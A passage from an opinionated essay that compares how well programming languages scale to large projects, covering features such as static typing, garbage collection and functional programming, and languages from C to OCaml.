However, cyclone doesn't correct the other problems with C \(described
below\), so I wouldn't describe it as particularly scalable.

### Static type checking: mostly very good

A **statically typed** language is one where each data item has a specific
type which cannot be changed for the duration of the program. In addition,
variables have specific types, and you can't assign a value of a different
type to that variable. There are a number of issues related to static typing,
and there is a lot of confusion about these issues, so I'll try to summarize
the main points here.

#### Advantages of static type checking

The primary scalability advantage of static type checking is that a great
number of errors are caught at compile time, rather than at run time. Thus, in
a statically typed language with a well-designed type system, most of the
trivial errors will be caught by the compiler, which leaves the programmer
free to concentrate on the more interesting parts of the program. This
increases productivity as well as programmer happiness ;-\) Furthermore, if
the type system extends to the module system \(see below\), then any use of an
imported module will be type-checked as well. This rules out large classes of
errors in the use of external modules written by others just as it does in the
code one writes for oneself. This, in turn, makes it easier to re-use other
people's code with confidence, which makes the language significantly more
scalable.

In addition, static type checking leads to significantly faster code than
dynamic \(run-time\) type checking. If the compiler knows that 'a' and 'b'
both represent small integers, and it needs to compute 'a + b', then it can
insert the code for addition of small integers right into the program. If the
only thing that's known about 'a' and 'b' is that they represent objects that
might be integers, or floats, or strings, then the decision on what to do has
to be deferred until run time. Type checking at run time is expensive.
Therefore, in addition to the other advantages of static typing, you also get
faster code.

#### Type declarations vs. type inference

The usual reason why many programmers don't like static type checking is that
type declarations are verbose and detract from the purity of the algorithm.
This is certainly the case in most statically typed languages; a particularly
egregious example is Java, where you can have statements like this:

[code]

    Foo foo = new Foo();  // Declare a new object of type Foo.
    
    
    
[/code]

You have to use the word "foo" three times to get the message across\! What
most programmers don't realize is that there is an alternative. Languages with
**type inference** can figure out the types of almost all variables from their
context, which means that the programmer doesn't have to type in declarations.
A good example of this is the objective CAML \(Ocaml\) programming language.
This leads to code that is as concise as code written in dynamically typed
languages like Scheme or Python but with all the benefits of static typing.

#### Type casting

Unfortunately for scalability, some languages \(notably C and C++, again\)
have mechanisms for _type casting_ , which is basically an escape hatch that
allows you to tell the compiler "I know I said that this value was of type X,
but from now on you can pretend that it's actually of type Y, and I'll take
the responsibility". This feature is necessary in C because the type system is
extremely weak \(it's not nearly as necessary in C++ and is generally
considered bad programming style\). It's also possible \(and often necessary\)
to cast between types in Java \(almost always from a superclass to a
subclass\), but if the cast fails then an exception is thrown, whereas in C,
the cast never fails \(and anything can happen if you cast an object to the
wrong type\). In conclusion, unchecked type casting is bad, and languages that
require a lot of it are less scalable than those that don't. Note that the
majority of the type casting in Java \(which is checked\) is simply to get
around the lack of parameterized types, so even checked type casting may
indicate a weakness in the language.

#### Static vs. dynamic type checking

The relative virtues of static versus dynamic type checking are one of the
great holy wars amongst computer language researchers and users. In contrast
to static type checking \(described above\), in dynamic type systems objects,
not variables, have types. A variable in these system is simply a binding to
an object, and it can be bound to \(for instance\) an integer one moment, a
string another moment, and a list another moment. This means that operations
which require particular types for their arguments \(_e.g._ addition\) have to
check these types at run-time instead of at compile time. This leads to
significant performance penalties, as well as a loss of safety; a type error
is not normally caught until run-time. On the other hand, dynamic typing is
incredibly expressive, much more so than any static type system. This is a big
topic that I don't intend to explore here \(it would be an essay all by
itself\). Suffice it to say that a lot of the flexibility of dynamic types can
be recovered in a statically typed language if the type system is powerful
enough. A good example of a statically typed language with a very powerful
type system is, once again, Ocaml \(get the idea that I like that language
yet? ;-\)\).

Another \(weak\) argument in favor of dynamic type checking is that
dynamically typed languages tend to be much less verbose than statically typed
ones, which means that the algorithm can often be expressed more clearly and
succinctly. However, statically typed languages with type inference like
\(ahem\) Ocaml circumvent this problem, as mentioned above.

If static type checking is just too restrictive for your tastes, then
dynamically typed languages like Lisp, Scheme, Python, Ruby or Smalltalk are
quite pleasant to program in, although my view is that the lack of static type
checking hurts the scalability of these languages substantially. What
typically happens in large projects written in these languages is that
extensive unit tests are written to catch type errors as well as logical
errors \(the Smalltalk community has been particularly aggressive about
promoting this approach; see Kent Beck's extreme programming site for much
more on this, which is not limited to Smalltalk or to dynamically typed
languages\).

Another interesting approach is "soft typing", which is a cross between static
type checking and dynamic type checking. Roughly speaking, it allows the same
expressiveness as dynamic typing, but will statically check the types of
everything that it can, and if it can't decide whether some program element is
correctly typed at compile time it will check it at run time. This approach is
used in the Dylan language \(and also in Common Lisp, to a greater or lesser
extent depending on the compiler\) and is being actively developed from both
the theoretical and practical standpoints by the PLT Scheme team of computer
language researchers/implementors. I look forward to seeing what they come up
with.

### Exception handling: good

Exception handling is a useful feature for making code more robust and also
cleaner. The basic idea is that some operations can fail for various reasons,
making it impossible to return a desired value. For instance, reading a line
from a text file is impossible if the file pointer is already at the end of
the file. In primitive languages like C, the only solution is to return an
error code and laboriously test for it whenever the function is called.
However, since a C function can only return one value, the real return value
of the function has to be kludged as a writable parameter of the function,
which is very messy and bug-prone \(since it requires that the user manipulate
pointers\). With exception handling, when an exceptional condition occurs an
exception is thrown, and it unwinds the call stack until it reaches a suitable
exception handler. This feature is so useful that almost all new languages
incorporate it. Interestingly, exceptions also work much better in the
presence of garbage collection; avoiding memory leaks in a language like C++
that has exception handling but has no GC is quite tricky \(see Scott Meyers'
books _Effective C++_ and _More Effective C++_ for an extensive description of
this issue\). This is yet another argument for garbage collection \(as if we
needed one\).

### Run-time error checking: good

Dynamically typed languages do all their error checking at run time. Most of
this error checking is to ensure that operations are called with correctly
typed arguments. This is costly and somewhat error-prone when compared to
languages that can do all their type checking at compile time. However, even
in statically-typed languages, there arise situations which can't be handled
by the type system alone. More precisely, there arise situations where any
reasonable \(decidable, efficient\) type system can't know at compile time
that an error is going to happen. In order to deal with this you need run-time
error checking. Here are some typical examples.

#### Array bounds violations

If an attempt is made to access an array outside of its bounds \(_e.g._ trying
to access the 100th element of a 10-element array\), then an array bounds
violation occurs. Scalable languages will always catch this error and will
usually throw an exception so that either the program can deal with it or the
person running the program knows that something bad happened \(ideally a stack
trace will be printed in the latter case\). Checking for array bounds
violations has a significant cost, however, so ideally the compiler will have
an option that permits the user to disable this check if speed is more
important than safety. Note that array bounds violations are never caught in C
programs; instead, they cause fun problems like core dumps and memory
corruption.

#### Arithmetic errors

Another class of errors that can normally only be caught efficiently at run
time are arithmetic errors. The classic example of this is integer division by
zero. Again, scalable languages will throw an exception in this case. Other
integer arithmetic errors such as overflows also typically raise exceptions in
many languages. In contrast, floating point errors such as 1.0 / 0.0 \(=
infinity\), -1.0 / 0.0 \(= -infinity\) and 0.0 / 0.0 \(= not-a-number or NaN\)
do not normally raise exceptions even in otherwise very safe languages \(such
as Java or Ocaml\). The reason for this is not clear to me \(apparently it's
written into the IEEE floating-point arithmetic standards and nobody wants to
challenge it\), and frankly, I think that this is a mistake. Like array bounds
checking, it's good to have a compiler option to disable arithmetic error
checking if speed is more important than safety for a given application. This
is a generally useful principle: make the language safe by default, and give
the programmer the option of trading safety for speed, ideally without
requiring him/her to rewrite any code.

### Assertions and contracts: very good

Most languages \(even C\) provide an "assert" feature, which allows the
programmer to state that at a given point in a program a particular
relationship must be true. For instance, in a C program you might say:

[code]

    assert(i == 100);
    
[/code]

meaning "at this point in the program, 'i' should have the value 100, and if
it doesn't something is wrong." This is a kind of built-in sanity checking for
your program. It is possible to disable assertion checks during compilation as
well. Typically, asserts are enabled while developing a program and disabled
after the program is completed in order to speed up the program. Some
languages \(notably Eiffel\) have a much more elaborate assertion system known
as "Design by Contract" which includes separate kinds of assertion checks for
preconditions of functions, postconditions of functions, class invariants,
loop invariants and variants, and much more, all incorporated into the object
system of the language. If used correctly, this is a huge win. Bugs will tend
to show up much closer to where they occurred, which makes debugging vastly
easier. This in turn makes the language much more scalable.

### Support for abstractions

In general, the more support a language provides for developing abstractions,
the better. Good abstraction capabilities mean you can say more with less
code, and less code means fewer bugs and shorter development times, which
leads to better scalability. There are lots of worthwhile language features I
won't discuss here; instead, I'll single out the ones that have the most
effect on language scalability.

#### Module systems: very good

Frankly, a language without a good module system is useless for developing
large programs. A module system allows the programmer to develop and test
parts of a program in isolation, and then combine these parts at a later time.
Modules are usually used to implement reusable code libraries containing data
structures and functions representing some interesting aspect of the problem
domain \(for instance, operations on linked lists\). Once a module is written
and debugged, any other program can then import and use the code in that
module. This is a huge win, since fundamental data structures and operations
don't have to be re-written for every program \(which is called "reinventing
the wheel" in programmer jargon\). This allows the programmer to write code
much more rapidly and with a much greater confidence of success, and is thus a
vital component of scalable computer languages.

#### Object-oriented programming: good

Object-oriented programming \(OOP\) is often presented as the cure to all
programming problems. It is not. However, some kinds of applications benefit
greatly from the object-oriented paradigm. The basic idea in OOP is that
programs are decomposed into "objects" which have "methods". Methods are
functions that have access to the internal state of the object. Only the
methods corresponding to an object can access that internal state, so if the
state changes in an unexpected way, one of the methods must have been
responsible for it. This is called "data hiding" or "encapsulation". Also, in
OOP it is possible to create new classes of objects by inheritance; this means
that the new object class is a version of the old object class, but with some
new methods and/or new data. Finally, and most importantly, calling object
methods is "polymorphic"; this basically means that the appropriate method to
run on an object is chosen at run time rather than at compile time. Certain
kinds of programming tasks \(such as simulations\) are well suited to the OO
paradigm, while other tasks \(such as compilers\) don't really need OO. In
general, it's good if a language supports OO, but I prefer languages that
don't force you to use OO for all programs. It is often claimed that programs
written in the OO style are easier to extend and modify than non-OO programs.
I think this is an exaggeration. If you have to subclass a class every time
you want to add a new method, your program will start to look very kludgy very
fast. Nevertheless, OO is a useful abstraction technique to have available.

#### Functional programming: good

The "dual" to the OOP paradigm, if you will, is the functional programming
\(FP\) paradigm. Instead of decomposing a program into a group of objects,
functional programs decompose a program into a group of functions. Like OO,
functional programming requires a language that supports certain language
features. The primary feature is that in a functional language, functions are
"first-class", which means that they can be treated as data \(_i.e._ they can
be passed as arguments to a function, returned from a function, and/or created
on the fly inside a function\). Another crucial feature is the ability to
define recursive functions efficiently \(technically, there has to be tail-
recursion optimization\). It turns out that if you have these capabilities,
then you can do without loop statements \(_e.g._ `for` and `while` loops in
C\), instead using recursion to implement the loop. In addition, functional
programs typically avoid using mutable data \(assignment statements\) as much
as possible. They also tend to use a lot of very small functions instead of a
few large functions. The advantages of FP include:

  * Many algorithms can be expressed much more concisely and elegantly.
  * Not using mutable data removes a large class of potential bugs.
  * Functional programs are much easier to verify for correctness than non-functional ones.
  * Higher-order functions \(functions that take functions as input and/or return functions as output\) can be used to factor out common programming idioms. This makes it easy to modify one kind of program to do related tasks.

I don't have nearly enough space here to go into this in detail. If you're
interested, you should read Abelson and Sussman's Structure and Interpretation
of Computer Programs, which goes into great detail on this subject. Suffice it
to say that having support for the functional style can make a computer
language much more scalable. Unfortunately, very few languages support this
style \(examples include Lisp, Scheme, Ocaml, Standard ML, and Haskell\),
apparently because average programmers find the functional style "hard to
understand" and because FP has a \(largely but not entirely undeserved\)
reputation for inefficiency \(in fact, the efficiency of FP depends enormously
on the details of the language implementation\).

#### Macros: mostly good

By "macros" I mean structural macros like in Lisp, not textual substitution
macros like in C. Structural macros can be a very useful abstraction device;
they allow the programmer to encapsulate programming idioms that are often
repeated and which cannot be expressed as higher-order functions. A good
example of this would be macros to implement control constructs. In most
languages, you are stuck with the control constructs \(`if`, `for`, `while`\)
that are provided by the language, but in Lisp you can define your own using
macros. Macros are very interesting \(see Paul Graham's book On Lisp for much
more on them\). They have some problems as well:

  * They can make debugging substantially more complicated.
  * They can in some cases make code harder to understand, because macros \(at least in Lisp\) look like functions but behave in a totally different manner.
  * Writing effective macros is non-trivial.

Nonetheless, when used correctly macros can increase the abstraction level of
a program dramatically, which is good for scalability.

### Components

"Components" is a vague word in the context of computer languages, but here
I'm using it to represent a single unit of functionality that can be composed
with other parts of a program. It's sort of like a library, but more self-
contained. There are a number of component architectures around \(Java beans,
CORBA, Microsoft COM\); some, like Java beans, only support one language,
while others support a whole range of languages. One big attraction of
components is that they can be language-independent and even location-
independent. However, if a language specifically supports one \(or many\)
component architectures it's a big win for scalability because then you can
re-use components written by another developer \(and maybe in another
language\). This is usually just a library issue, but some languages \(C\#
being a notable example\) are designed specifically to make component
development easier. This is a good thing, but I don't have the space to go
into it here.

### Syntax and readability

Syntax is not the most interesting aspect of computer languages; in fact, it's
probably the least interesting aspect, which is odd considering that it seems
to be the only aspect that most programmers ever learn ;-\) Syntax does make a
difference to scalability, however. In my opinion, it's not that important
that a syntax be "familiar" \(which in practice means "like C syntax"\);
rather, the important issue is how consistent it is. Very baroque and
inconsistent syntaxes with dozens of strange exceptions to general rules \(C++
and \(especially\) Perl are the worst offenders here\) make programs very hard
to understand and maintain, simply because nobody ever remembers all the
special cases. At the other extreme, very minimalistic and simple syntaxes
like Lisp syntax are difficult for many people to get used to \(though
personally, I quite like Lisp's syntax\). Python is a good example of a
language that has a very friendly syntax both for new programmers and experts.

## The scalability of different programming languages

In this section I'll make more specific comments about how some programming
languages stack up in terms of their scalability. I can't cover every
programming language, but I'll try to cover a representative sample.

### C

_C combines all the power of assembly language with all the ease of use of
assembly language._ \-- unknown _I'd just like to take this moment to point
out that C has all the expressive power of two dixie cups and a string._ \--
Jamie Zawinski, in the source code for xkeycaps _There is a point in your life
when you realize that you have written enough destructors, and have spent
enough time tracking down a memory leak, and you have spend enough time
tracking down memory corruption, and you have spent enough time using low-
level insecure functions, and you have implemented way too many linked lists._
\-- Miguel de Icaza _Greenspun's Tenth Rule of Programming: "Any sufficiently
complicated C or Fortran program contains an ad-hoc, informally-specified bug-
ridden slow implementation of half of Common Lisp."_ \-- Philip Greenspun
_Your superior intellect is no match for our puny weapons._ \-- unknown, via
Aaron Stern  
---  
I'll be blunt: C is a **horrible** language for developing large projects in.
C contains almost all of the bad language features described above and almost
none of the good ones. Furthermore, some of the good features it does have
\(like static type checking\) are so corrupted by type casting that they are
much less useful than they would otherwise be. C also offers essentially no
abstraction capabilities whatsoever except for arrays \(which are really just
pointers in disguise\) and structs \(ditto\).

Does that mean that C is a useless language? Far from it. It has its place,
and its place is a vital one. C is an excellent language for writing code that
has to interface directly with the machine \("bare-metal" programming\). It is
also a good language for implementing better languages in ;-\) The Ocaml
runtime engine, for instance, is written in C \(with some help from assembly
language\). C is useful for writing the 1% of your application that
absolutely, positively, has to run as fast as possible. However, if you're
trying to write a large application entirely in C you are in for a miserable
time. Instead, you're better off picking a good language that has a C foreign-
function interface \(FFI\), so you can "drop down" into C when you really need
to \(which hopefully won't be that often\).

Some people \(particularly novice programmers who have no idea what they're
talking about\) are under the illusion that because C offers such direct
control over the machine, it's the only "real" programming language for "true
hackers". If that were true, all "true hackers" \(whatever that means\) would
be writing code in assembly language, which is much closer to the machine than
C is. I hope some of the quotes above, some of which are from world-famous
open-source hackers, will help to dispel this myth. If not, then I recommend
that you try to write a really large program \(> 100,000 lines of code\) in C,
and tell me what you think at the end of that experience. I think you'll find
my arguments much more persuasive.

### C++

_C++ : an octopus made by nailing extra legs onto a dog._ \-- off
smalltalk.org _Think of C++ as an object-oriented assembly language._ \-- off
the guile Scheme mailing list _C makes it easy to shoot yourself in the foot.
C++ makes it harder, but when you do, you blow your whole leg off._ \-- Bjarne
Stroustrup _Programming in C++ is premature optimization._ \-- off
comp.lang.python  
---  
C++ adds object-oriented and generic programming features to C, along with a
host of other features. This can significantly improve the abstraction level
of C++ programs relative to C programs, and this should make the language more
scalable. Unfortunately, the presence of pointers and the absence of GC, in my
opinion, undoes all the benefits of the useful features and makes C++ non-
scalable \(for instance, NONE of the standard template library \(STL\)
container classes use GC\). In addition, C++ is so mind-bogglingly complex,
with so many odd features that interact in peculiar ways, that it's almost
impossible to master. I will readily admit that I'd rather write a large
application in C++ than in C, but that's like saying I'd rather eat rotting
meat than swallow sulfuric acid ;-\)

To be fair, I have to point out that there is some really neat stuff possible
in C++ using templates \(typically lumped under the name "template
metaprogramming"; see the book _Modern C++ Design_ by Andrei Alexandrescu for
more information.\). This is very much wizard-level programming \(which is
OK\), but to my mind it doesn't even come close to compensating for the lack
of GC. What _would_ make C++ a more scalable language is \(a\) including a
garbage collector as part of the standard library, and \(b\) having some way
to restrict the use of pointers to particular modules that need direct pointer
access \(such as very low-level data structures\). I'm not very optimistic
that this will ever happen, but I hope it does.

### Java and C\#

Java and C\# are more recent languages which have learned from the mistakes of
the past. They both have GC, neither have pointers, and they both support
object-oriented programming. This makes programming in these languages
comparatively non-painful, and they scale well. Both also have interesting
mechanisms for achieving platform independence \(which is beyond the scope of
the present discussion\). C\# is part of the .NET framework, which \(in
theory\) permits a considerable amount of inter-language interaction; this is
in my opinion a huge win, but is also beyond the scope of the present
discussion. Both languages tend to be quite verbose, which is off-putting to
many people \(including me\), but that's not that big an issue. C\# also
contains an interesting mechanism for using unsafe code \(_i.e._ code which
uses pointers and doesn't use GC\) but encapsulated in modules specifically
marked "unsafe" \(an idea borrowed from the Modula-3 language, which is now
sadly all but defunct\). If you feel you can't live without the ability to
program with pointers, but you don't need them for most of your code, that's
the right way to go.

The abstraction level of both C\# and Java is mediocre; it's much better than
C, somewhat weaker \(\!\) than C++, and not nearly as good as languages that
support both object-oriented and functional programming \(such as Lisp and
Ocaml\). Therefore, I find programming in these languages to be pretty boring
and tedious. Many of the scalability features in these languages are not,
strictly speaking, part of the languages at all but of the environment\(s\)
built up around the languages. For instance, the support for components,
versioning, packaging and documentation generation are all features of the
environments. I hope we will soon start to see these kinds of meta-features in
better languages than Java or C\#.

### Eiffel

Eiffel is a very cleanly-designed object-oriented language that has been
specifically designed to be scalable. It has a number of interesting features,
including:

  * There is a very strong assertional system implementing "design by contract" \(see above\), which is totally incorporated into the object-oriented framework, so subclasses cannot break assertions of their superclasses \(though there are theoretical arguments about whether this was done the right way\).
  * Multiple inheritance is handled in what I consider a very simple and effective way; any naming conflicts must be resolved by renaming the inherited classes.
  * Inheritance can be controlled at a finer granularity than the private/protected/public modifiers seen in C++, Java, and C\#.

There are many other features as well. Eiffel's author, Bertrand Meyer, has
written a number of books about the language and the ideas behind it, of which
the most comprehensive is Object-oriented Software Construction.

Eiffel has a few deficiencies. The syntax is very verbose \(there are
something like 70 keywords\) and also quite unfamiliar. The theory behind
Eiffel rules out some language features that we have come to expect, like
multiple exit points from loops. Many familiar features are found in a
completely unfamiliar form. Classes are the only module units, which I think
is abusing the notion of class \(and which leads to the excessive use of
multiple inheritance in situations in which it isn't really needed\). These
deficiencies are not show-stoppers, however.

More significantly, functional programming isn't supported \(although the last
time I checked something analogous to function pointers was in the process of
being added to Eiffel; I'm not sure what the current situation is\). Also, the
type system has some holes in it that require link-time analysis to make sure
that a program is correctly typed. This is a problem if you want to create
shared libraries \(although I admit I don't know all the details\).

In conclusion, I would say that Eiffel is quite a scalable language, certainly
more so than C++, Java, or C\#. I personally find the lack of support for
functional programming quite stifling, but I'd rather program in Eiffel than
in Java, C++, or C\# any day.

### Python and Smalltalk

I'm lumping together Python and Smalltalk, two quite different languages,
because they are both dynamically typed languages which support object-
oriented programming. One difference is that it's possible to program in a
non-OO manner in Python, whereas Smalltalk is nothing but objects, all the way
down. From a scalability perspective, both languages are safe, excellent for
prototyping, and generally enjoyable to work in. On the other hand, the lack
of static type checking hurts their scalability \(not to mention their
efficiency\), and to compensate for this most serious Python and Smalltalk
programmers spend a lot of time writing test suites \(which is a good idea,
but the test suites can be much smaller in statically typed languages since
you get type safety for free\). I have much more experience with Python than
with Smalltalk, and I can say unequivocally that it's a great language for
writing small programs, but when the program source code is longer than about
a thousand lines I start wishing I had a type checker.

### Perl

_Python: executable pseudocode. Perl: executable line noise._ \-- off
comp.lang.python  
---  
I am not a fan of Perl. Basically, I think that Perl is simply Python with an
incredibly obfuscated syntax and a few extra features that nobody really
needs. Perl is incredibly non-scalable; I dare you to try to understand any
Perl program of more than a hundred lines or so. The fault is not just the
syntax; the semantics of the language are full of little oddities \(_e.g._
overloading on the return type of a function\), and frankly, I recommend that
you just stay away from Perl. Maybe Perl 6 will not be as painful; but then,
maybe it won't. I'll check again when Perl 6 actually happens.

Parenthetically, one cool thing that _has_ come out \(actually, that is in the
process of coming out\) of the Perl 6 effort is an amazingly cool project
called Parrot, which is a virtual machine targeted at dynamic languages. The
goal is to have a common virtual machine for running Perl, Python, Ruby,
Scheme etc. I like this project very much, so please check it out.

### Common Lisp and Scheme

_Most people are just too damn dumb to recognise how great Lisp is._ \-- off
slashdot _\[Lisp\] is the only computer language that is beautiful._ \-- Neal
Stephenson _The journey of a thousand miles begins with an open parenthesis._
\-- Rainer Joswig _Will write code that writes code that writes code for
food._ \-- Martin Rodgers _Those who do not understand lisp are doomed to re-
implement it._ \-- attributed to Erik Naggum, off comp.lang.lisp  
---  
Lisp is, quite simply, a brilliant computer language. There are two forms of
Lisp that are still alive today \(three if you count Dylan, but I discuss that
below\): Common Lisp and Scheme. Their differences are mostly irrelevant for
the discussion here, so I'll lump them together for the most part.

Here are some of Lisp's interesting features.

  * It has an incredibly simple and unambiguous syntax \(which is admittedly a little peculiar when you first encounter it\).
  * It fully supports functional programming \(and was the first language to do so\).
  * It has garbage collection \(and was the first language to have it\).
  * There are no pointers in Lisp code.
  * There are no type declarations.
  * Structural macros are a fundamental part of the language, and because of the simple syntax are easier to write than in any other language.

One of the consequences of all these features is that it is extremely easy to
implement new programming paradigms within the Lisp language. For instance,
you can implement a full object-oriented system \(or several different
incompatible OO systems\) within the Lisp language itself. For this reason,
Lisp is sometimes referred to as a "language laboratory". Because of this,
Lisp programmers often write their programs bottom-up by effectively writing a
new program-specific language for the application and then writing the
application in that language. Paul Graham's book On Lisp discusses this
approach in great detail. Lisp is also an incredibly dynamic and flexible
language; code can be compiled on the fly and modules can be re-loaded as
needed. Despite this, Lisp compilers exist that are very efficient and can
routinely produce code that is only \(say\) 1.5 times slower than optimized C
code.

The only serious drawback that Lisp has is that it relies mainly on dynamic
typing. This is great for interactive exploration, but becomes an obstacle as
the size of a program gets larger. Common Lisp at least allows type
declarations, which the compiler is free to check for consistency \(or to
ignore\). However, it's not easy to get the kind of absolute type safety in a
Lisp program that you'd get in \(say\) an Ocaml program. Still, I really like
Lisp and I think that every serious programmer needs to learn it. Also, at
least one implementation of Scheme \(the PLT Scheme implementation\) promises
to provide a usable type checker in the near future, which I look forward to.

### Dylan

Dylan is a dialect of Lisp that uses a more conventional infix syntax and that
has a number of features that improve the language's scalability relative to
Lisp. Most notably, it allows \(and encourages\) the use of type declarations
in code. If these type declarations can be checked at compile time, they are;
otherwise they're checked at run time. This is a real win for the programmer.
Unfortunately, dylan hasn't yet caught on, but there is a team of open source
hackers at Gwydion Dylan that are hard at work trying to bring Dylan back from
obscurity. I hope they succeed, because Dylan has the potential to be a very
scalable language, and is perhaps the only language that combines the best
features of scripting languages and scalable languages.

### Objective CAML \(Ocaml\) and Standard ML

_There is a joke about American engineers and French engineers. The American
team brings a prototype to the French team. The French team's response is:
"Well, it works fine in practice; but how will it hold up in theory?"_ \--
unknown _Perl, C, FORTRAN, Pascal and AWK are purely procedural \(not even
OO\) languages. Functional languages are to large reflecting telescopes what
these languages are to binoculars._ \-- off slashdot _The best and the
brightest in the programming languages field are working on functional
programming languages._ \-- Bjarne Stroustrup \(paraphrased from an
interview\)  
---  
I've saved the best for last ;-\) As you've probably gathered from my comments
above, I am a _big_ fan of the Objective CAML language \(usually referred to
as Ocaml\). Ocaml is being developed by a team of researchers at INRIA, a
computer science research institute in France. The curious acronym CAML stands
for "Categorical Abstract Machine Language" and is basically a historical
artifact; I won't discuss it further. Ocaml is closely related to another
language called Standard ML. However, since Ocaml provides almost all of the
features of Standard ML and many more, I won't discuss Standard ML further
either.

What does Ocaml provide that makes it so great, and in particular makes it
such a scalable language?

  * Garbage collection.
  * No pointers.
  * Extremely fast compilation to bytecode.
  * Compilation to extremely efficient native code \(often faster than C++, often comparable to C speeds\).
  * Static type checking with type inference \(one of the few languages that has this; you can't imagine how cool this is until you use it\).
  * Full support for functional programming.
  * Full support for imperative and object-oriented programming.
  * A great module system.
  * Polymorphically-typed functions \(functions that are generic over entire classes of types\).
  * Algebraic data types, which make creating complex data structures incredibly easy.
  * Functors \(functions which create customized data types parameterized on an input type or set of types\).
  * A programmable preprocessor \(camlp4\) that can be used to change the language syntax \(\!\).

I don't expect you to understand all of these features, but I also don't have
the patience to explain them all here; go to the web site for more
information. The point is that Ocaml has almost all of the typical features
that I've identified as giving a computer language more scalability, and
several other features that are found almost nowhere else that also enhance
the scalability. It's also incredibly efficient for such a sophisticated
language; a lot of Ocaml code is quite competitive with C code that does the
same task \(sometimes the Ocaml code is even faster\). For this reason, Ocaml
is by far my favorite computer language and the one I consider first when
contemplating writing a new program.

Having said that, I have to add that Ocaml is a long way from perfect. The
syntax is a little weird in many places. The language has a fairly long
learning curve. There is not enough good documentation and far too few books.
The standard library is much smaller than what you'd find in \(say\) Java. On
the other hand, none of these problems are show-stoppers, and I predict that
Ocaml is going to become a major force in the world of programming languages
in the next ten years, especially among very high-level hackers.

## Social considerations

Given all the comments I've made above, the obvious question is: why do people
continue to use lousy non-scalable programming languages when there are good
alternatives that will make their lives much easier? In this section I'd like
to look into the factors that prevent programmers from learning and using
scalable programming languages.

### Ignorance

Most programmers, even professional programmers, know next to nothing about
programming languages. Most programmers have probably never even heard of any
languages other than C, C++, Java, C\#, Visual Basic, Fortran, and \(maybe\)
Perl. That's too bad, because there isn't a great language in that entire
list. What this shows is that people who develop and use good languages have
got to get better at getting the word out. For my part, I would recommend that
anyone reading this go out and learn Ocaml \(especially\!\), Lisp and/or
Scheme, Python, Smalltalk, and Eiffel, especially if they think that "all
languages are the same".

### The learning curve

As somebody who loves to learn new programming languages and paradigms, I hate
to admit this, but one of the biggest reasons bad languages persist is that
most people _hate_ learning new programming languages. They would rather stick
to a shitty language that they more-or-less understand than take the one month
or so to become familiar with a new language. This is an example of a very,
very general phenomenon both in computing and elsewhere, which is that nobody
ever wants to learn anything new. I think this is because learning is very
painful for most people \(I say I _think_ so because I've always really
enjoyed learning and so I can't relate to this at all\). This would make sense
if learning a new language wasn't worthwhile \(let's face it, it's a lot of
work\), but as I've tried to show above, there are huge differences between
good languages and bad ones, and if the only language you know is a bad one,
then learning a good one is most definitely worthwhile.

In addition, the learning problem becomes much, much worse when the new
language embodies a different programming paradigm \(e.g. functional
programming\), even when the language also supports more familiar paradigms. I
see this even in Caltech undergrads, who supposedly have the highest average
SAT scores of any group of students in the world. Most of them already know
how to program in C when they get here, and we teach them Scheme in a mostly-
functional style that is totally unfamiliar to them. It's remarkable how much
difficulty they have with this, big SAT scores notwithstanding.

Finally, it's true \(but absolutely amazing to me\) that small differences in
syntax between computer languages can make it incredibly difficult for someone
who has mastered one language to learn another. This is why Java and C\#
\(correctly\) adopted a C-like syntax; it's not that it's better, it's just
more familiar and thus is less likely to be rejected. Programmers are an odd
lot; they will often reject a language based on the most trivial criteria
\(_e.g._ whether or not the language uses semicolons to separate statements\).

### Misconceptions

There are a lot of stupid misconceptions about programming languages that make
people not want to learn new ones. The most common ones are:

  * All programming languages are basically the same.
  * Code written in anything but C is going to be incredibly slow.
  * Code written in any language with garbage collection is going to be incredibly slow.
  * "Real programmers" only write code in C.

I've also heard some truly incredible howlers by people who should know
better, such as "in Lisp, lists are the only data type" \(this was written in
the book Generative Programming, which was published in 2000, and is
completely, utterly false\).

I hope I've helped to dispel some of these misconceptions in the material I've
written above.

### Sacrificing everything for speed

One serious obstacle to the adoption of good programming languages is the
notion that everything has to be sacrificed for speed. In computer languages
as in life, speed kills. It's not that I like slow programs, but the notion
that speed is the only important attribute of a program \(as opposed to
correctness, maintainability, extensibility, readability etc.\) is simply
wrong. In fact, most programs only have a small core \(maybe 20%\) that
absolutely needs to be fast surrounded by a much larger infrastructure of code
that doesn't need to run all that quickly. If you're going to write your
entire application in a non-scalable language like C because only 20% of the
program requires it, then that's a real shame. It's especially ironic because
most good languages have a foreign function interface \(FFI\) into C which
allows you to write that 20% in C and use the better language for the rest of
the code. However, most programmers can't be bothered learning an FFI any more
than they can be bothered learning a new computer language. In addition, most
programmers who are obsessed with speed never even bother to profile their
code to find out where the bottlenecks are, presumably because they can't be
bothered to learn how to use a profiler either. Do you detect a pattern here?

Fortunately, the rise of Java and scripting languages, and the success of
projects that have used those languages, have made the speed obsession much
less of a factor than it used to be.

### Sacrificing everything for bit-level control

Another factor hindering the adoption of scalable programming languages is the
idea that a programming language _must_ give you intimate, bit-level control
over every data structure or it isn't any good. If you believe this, think
back on all the programs you've ever written. How many of them actually needed
this kind of bit-level control? In my case, the answer is zero, and unless you
spend a lot of time writing device drivers, your answer is probably pretty low
too. Nevertheless, bit-level control is a nice feature, and that's precisely
what C is good at. This is why any good language worth its salt has a C FFI.

### Sacrificing everything for the lowest common denominator

Another major factor hindering the acceptance of new computer languages is the
lowest common denominator. Programmers overwhelmingly prefer to learn a
language that everybody else knows. There are some good reasons for this:

  * It makes it much easier to find a job.
  * A popular language usually has a lot more libraries available.
  * It's much easier to find new programmers to work on a project if it's written in a language that a lot of people know.

However, this is a chicken-and-egg situation. If nobody ever learns a new
language, then no progress is going to be made in the field. In fact, there
are only two successful models of language adoption that I know of:

  * The language is massively promoted by a company with a lot of money \(_e.g._ Java and Sun, C\# and Microsoft\).
  * The language spreads in a "grass-roots" fashion \(C, C++, Perl, Python\).

Since I can hardly expect large corporations to espouse genuinely good
technology, I think that the only way for scalable programming languages to
catch on is through the grass-roots method. I believe that Ocaml is starting
to gain market share this way. And, truth be told, Java and C\# aren't _that_
bad even though they are corporate-sponsored. They are reasonably scalable
languages with a mediocre abstraction capability. But we can do much better.

## Conclusions and recommendations

I've tried to show that there are many aspects of computer languages that can
have large effects on their scalability, and I've discussed how different
languages compare in this regard. To recap, a scalable language would ideally
have:

  * garbage collection
  * no pointers or pointer arithmetic
  * a foreign function interface to the C language
  * static type checking with type inference
  * support for exception handling
  * run-time error checking for errors that can't be caught at compile time, like array bounds violations and division by zero
  * support for assertions and design by contract
  * a powerful, statically checked module system
  * support for object-oriented programming
  * support for functional programming
  * structural macros
